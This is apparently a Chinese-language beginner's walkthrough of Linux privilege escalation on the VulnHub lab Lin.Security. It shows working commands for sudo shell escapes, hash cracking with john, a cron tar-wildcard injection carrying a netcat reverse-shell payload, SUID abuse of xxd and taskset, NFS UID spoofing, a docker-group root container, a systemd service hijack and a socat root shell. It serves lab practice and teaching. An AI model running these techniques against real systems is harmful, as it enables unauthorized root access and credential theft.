初学Linux提权

配置环境

靶场链接:Lin.Security: 1 ~ VulnHub

基础配置

假如没有权限修改的话请完成任意一个提权操作之后进行提权修改。
用户名密码:bob/secret

#安装与配置
1.修改默认键盘布局[默认不是美式键盘]
sudo awk 'BEGIN {system("/bin/sh")}'
[修改前\"符号是shift+2]

vim /etc/default/keyboard
[将XKBLAYOUT改的值为us]

setupcon

2.配置网卡[Ubuntu 18通过netplan设置网络]
vim /etc/netplan/50-cloud-init.yaml
[将enp0s3改为ens33]

netplan apply

然后在kali用ssh链接即可

sudo提权

sodu 全称 Substitute User and Do,用来临时赋予 root 权限运行某个程序。

sodu 的执行原理:

普通用户执行命令时,首先检查/var/run/sudo/目录下是否有用户时间戳,centos 检查/var/db/sudo/目录,并检查是否过期。如果时间戳过期,就需要输入当前用户的密码。输入后检查/etc/sudoers 配置文件,查看用户是否有 sudo 权限,如果有执行 sudo 命令并返回结果,然后退出 sudo 返回到普通用户的 shell 环境。

而在/etc/sudoers 中设置可执行 sudo 指令的用户。默认只有root。

在这里我们不能直接su root来取得sudo权限

可以先用sudo -l查看当前用户支持的sudo命令

bob@linsecurity:~$ sudo -l
[sudo] password for bob:
Matching Defaults entries for bob on linsecurity:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bi

User bob may run the following commands on linsecurity:
    (ALL) /bin/ash, /usr/bin/awk, /bin/bash, /bin/sh, /bin/csh, /usr/bi
        /usr/bin/man, /bin/more, /usr/bin/scp, /usr/bin/socat, /usr/bin
        /usr/bin/script, /usr/bin/scp

然后利用这些函数就有很多方式提权了

比如

sudo /bin/ash
sudo /bin/bash
sudo /bin/sh
sudo find . -exec /bin/sh \;-quit

在线查询sudo的提权命令:https://gtfobins.github.io/

/etc/passwd&/etc/shadow

/etc/passwd:
普通用户权限能够查看

保存用户信息,每一行代表一个用户,每一行通过冒号:分为七个部分

1.用户名
2.密码,x表示密码保存在/etc/shadow
3.UID,0代表root
4.GID,表示所在组
5.描述信息,依次为Full Name、Room Number、Work Phone、Home Phone和Other
6.用户主目录
7.默认shell类型

可以发现一个有root权限的用户insecurity的密码直接存在/etc/passwd

将其MD5解密就是原始密码(MD5免费在线解密破解_MD5在线加密-SOMD5)

su insecurity后可以获得root权限

然后可以查看/etc/shadow

也可以直接用sudo man /etc/shadow

/etc/shadow
只有root用户权限能够查看

保存加密后的密码和用户的相关密码信息,每一行代表一个用户,每一行通过冒号:分为九个部分

1.用户名
2.加密后的密码
3.上次修改密码的时间(从1970.1.1开始的总天数)
4.两次修改密码间隔的最少天数,如果为0,则没有限制
5.两次修改密码间隔最多的天数,表示该用户的密码会在多少天后过期,如果为99999则没有限制
6.提前多少天警告用户密码将过期
7.在密码过期之后多少天禁用此用户
8.用户过期日期(从1970.1.1开始的总天数),如果为0,则该用户永久可用
9.保留

#由示例可知,加密的密码具有固定格式:
$id$salt$encrypted
id表示加密算法,1代表MD5,5代表SHA-256,6代表SHA-512
salt为盐值,系统随机生成
encrypted表示密码的hash值

有了这些哈希值后,我们可以用john命令来爆破

john --wordlist=/usr/share/wordlists/rockyou.txt.gz 1.txt

利用crontab提权

如果计划任何中存在root权限执行的脚本,并且脚本其他用户拥有写入权限则可以通过计划任务提权。

crontab格式
 *  *  *  *  *  command
 分  时  日  月  周  命令

第1列表示分钟1~59 每分钟用*或者 */1表示
第2列表示小时1~23(0表示0点)
第3列表示日期1~31
第4列表示月份1~12
第5列标识号星期0~6(0表示星期天)
第6列要运行的命令

可以将弹shell的命令写入root设定的定时脚本中

#反弹shell
#payload生成
msfvenom -p cmd/unix/reverse_netcat lhost=127.0.0.1 lport=8888 R
[R:raw]

#将payload写入shell.sh,并赋予执行权限
echo "mkfifo /tmp/jvenbd; nc 127.0.0.1 8888 0</tmp/jvenbd | /bin/sh >/tmp/jvenbd 2>&1; rm /tmp/jvenbd" > shell.sh && chmod +x shell.sh

#再创建两个文件:--checkpoint-action=exec=sh shell.sh 和 --checkpoint=1
echo > "--checkpoint-action=exec=sh shell.sh"
echo > "--checkpoint=1"
##--checkpoint-action选项:用于指定到达检查点时将要执行的程序,这将允许我们运行一个任意的命令。
##因此,选项--checkpoint=1 和 --checkpoint-action=exec=sh shell.sh作为命令行选项交给了tar程序

#nc -lvvp 8888开启本地监听,等待定时任务的反弹连接

敏感隐藏文件

find查找敏感隐藏文件find / -name ".*" -type f -path "/home/*" -exec ls -al {} \; 2>/dev/null

可以发现susan的密码在/home/susan/.secret

SUID提权

suid可以让调用者以文件拥有者的身份运行该文件,
所以我们就利用suid提权的思路就是运行root用户所拥有的suid文件。
运行该文件的时候就能获取到root用户的身份。
已知可以用来提权的Linux文件如下
nmap
vim
find
bash
more
less
nano
cp

我们首先查看具有root用户权限的SUID文件

find / -perm -u=s -type f 2>/dev/null 或 find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \;

发现

-rwsr-x--- 1 root itservices 18552 Apr 10  2018 /usr/bin/xxd
itservices组具有执行权限,通过/etc/group发现susan用户属于itservices用户组
-rwsr-sr-x 1 root root 30800 May 16  2018 /usr/bin/taskset

所以可以登录susan然后用xxd来访问/etc/shadow 命令: xxd "/etc/shadow" |xxd -r

也可以taskset 1 /bin/bash -p

NFS服务低权限访问

NFS:Network File System即网络文件系统,它允许网络中的计算机之间通过TCP/IP网络共享资源。在NFS的应用中,本地NFS的客户端应用可以透明地读写位于远端NFS服务器上的文件,就像访问本地文件一样。2049端口,对应nfs服务

使用showmount检索靶机文件夹列表

创建一个链接后可以查看文件,想要写入却没有权限

可以伪造文件所有者的UID和GID来欺骗NFS服务器,创建一个gid为1005的用户组,接着创建peter这个账户uid指定为1001,gid指定为1005。

然后切换到su peter就可以正常创建文件了

还不是很懂为什么QwQ

为了进一步控制,我们可以写入ssh公钥

接下来就可以用ssh连接靶机了

docker组提权

/etc/group中可以发现Peter是docker组的成员,可以根据此漏洞来getshell

docker run -v /:/hostOS -i -t chrisfosterelli/rootplease

Systemd配置提权

Linux里一般的用来启动服务的方式如下

$ sudo /etc/init.d/apache2 start 
# 或者 
$ service apache2 start 

这样的方法有两个问题,一是启动时间慢,二是启动脚本复杂

Systemd 就是为了解决这些问题而诞生的。它的设计目标是,为系统的启动和管理提供一套完整的解决方案。 使用了 Systemd,就不需要再用init了。Systemd 取代了initd,成为系统的第一个进程(PID 等于 1),其他进程都是它的子进程。 Systemd 并不是一个命令,而是一组命令,涉及到系统管理的方方面面。

systemctl是 Systemd 的主命令,用于管理系统。

首先查找systemd配置文件

发现有个debug.service有读写权限

如果服务器存在缺陷,可以被覆盖或者修改文件,可以通过修改低权限用户有权访问的.service文件并更改run()命令来将其转换为代码执行。重新启动服务时,将运行攻击者的命令。

查看.service文件,这里我们可以修改ExecStart文件,除此之外还可以修改ExecStop和ExecReload来在停止和重启服务时执行命令

可以选择将/bin/bash文件复制到systemdbash并设置一个SUID位并且赋予执行权限

echo -e '#!/bin/bash \ncp /bin/bash /home/peter/systemdbash \nchmod 6755 /home/peter/systemdbash' > /home/peter/systemdexpl.sh && chmod +x systemdexpl.sh

也可以选择在root下创建一个ssh

peter@linsecurity:~$ echo -e '#!/bin/bash \ncp /home/peter/.ssh/* /root/.ssh/' > systemdexpl.sh

Socat提权

sudo socat tcp-listen:2022,reuseaddr,fork exec:sh,pty,stderr,setsid,sigint,sane

socat FILE:tty,raw,echo=0 TCP:127.0.0.1:2022

参考资料

(16条消息) lin.security提权靶场俺不想学习的博客-CSDN博客提权靶场

(16条消息) Linux提权_深渊山谷的博客-CSDN博客_linux提权

(16条消息) linux提权靶场详解_低头观自在的博客-CSDN博客_linux提权靶场

(16条消息) Linux提权篇_西湖第一剑的博客-CSDN博客_linux提权